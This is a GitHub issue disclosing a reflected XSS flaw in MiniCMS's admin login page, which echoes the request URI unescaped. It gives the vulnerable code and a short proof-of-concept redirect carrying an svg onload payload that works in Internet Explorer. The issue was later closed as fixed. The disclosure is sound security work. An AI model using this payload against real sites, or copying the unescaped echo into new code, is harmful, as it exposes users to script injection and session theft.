Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

MiniCMS reflective XSS in domain.com/mc-admin/index.php #24

Closed
glo0m7 opened this issue Sep 4, 2018 · 0 comments
Closed

MiniCMS reflective XSS in domain.com/mc-admin/index.php #24

glo0m7 opened this issue Sep 4, 2018 · 0 comments

Comments

@glo0m7
Copy link

glo0m7 commented Sep 4, 2018

This is a reflective XSS vulnerability because "echo $_SERVER['REQUEST_URI'];" in 39 line

index.php

<body>
  <form action="<?php echo $_SERVER['REQUEST_URI']; ?>" method="post">
  <div id="login_title">MiniCMS</div>
  <div id="login_form">
    <div id="login_form_box">
      <div class="label">帐号</div>
      <div class="textbox"><input name="user" type="text" /></div>
      <div class="label">密码</div>
      <div class="textbox"><input name="pass" type="password" /></div>
      <div class="bottom"><input name="login" type="submit" value="登录" class="button" /></div>
    </div>
  </div>
  </form>
</body>

In Firefox and chrome, URL will be URLencoded.
In IE, if has Redirection,URL will not be URLencoded.
IE exp: exp.php

<?php
header("Location: http://example.org/mc-admin/index.php?123=\"><svg/onload=alert(document.domain)>");
@bg5sbk bg5sbk closed this as completed in f8fc729 Jul 19, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant